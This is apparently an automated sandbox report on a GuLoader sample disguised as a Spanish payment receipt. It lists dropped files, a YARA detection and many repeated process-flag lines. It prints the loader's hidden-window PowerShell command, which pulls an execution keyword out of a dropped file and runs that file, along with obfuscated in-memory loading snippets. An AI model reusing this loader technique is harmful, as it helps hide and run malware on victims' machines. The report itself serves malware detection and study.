Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: Justificante pago-09453256434687.exe

Static file information: File size 1106880 > 1048576

Source: Justificante pago-09453256434687.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\System.Core.pdb source: powershell.exe, 00000001.00000002.2065851466.000000000823C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb\c source: powershell.exe, 00000001.00000002.2065851466.0000000008272000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000001.00000002.2065851466.000000000823C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000001.00000002.2065851466.0000000008272000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.2067270709.0000000009B22000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Skattekoden $Sipped $newsgirls), (Cirkler @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Thysanouran = [AppDomain]::CurrentDomain.GetAssemblies()$global:A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($chanceled)), $Hydrophilism).DefineDynamicModule($Pasodoble, $false).DefineType($Kiwitrtes203, $Dybdeboring, [System.MulticastDelegate]

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00D1A5B2 push eax; iretd	1_2_00D1A6B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00D1A627 push eax; iretd	1_2_00D1A6B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00D1EA19 push eax; mov dword ptr [esp], edx	1_2_00D1EA2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_070A4365 push eax; retf	1_2_070A4379
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_070A0FC4 push es; iretd	1_2_070A0FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08FB56A5 push ebp; iretd	1_2_08FB56B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08FB6C44 push ecx; ret	1_2_08FB6C45
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08FB5E0B push ebx; ret	1_2_08FB5E0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08FB3D9A push esp; iretd	1_2_08FB3D97
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08FB3D69 push esp; iretd	1_2_08FB3D97
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_042E6C44 push ecx; ret	6_2_042E6C45
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_042E3D69 push esp; iretd	6_2_042E3D97
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_042E3D9A push esp; iretd	6_2_042E3D97
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_042E5E0B push ebx; ret	6_2_042E5E0C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_042E56A5 push ebp; iretd	6_2_042E56B4

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	File created: C:\Users\user\AppData\Local\Temp\nsj887A.tmp\nsExec.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Justificante pago-09453256434687.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\semitelic.ini

Loading BitLocker PowerShell Module

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
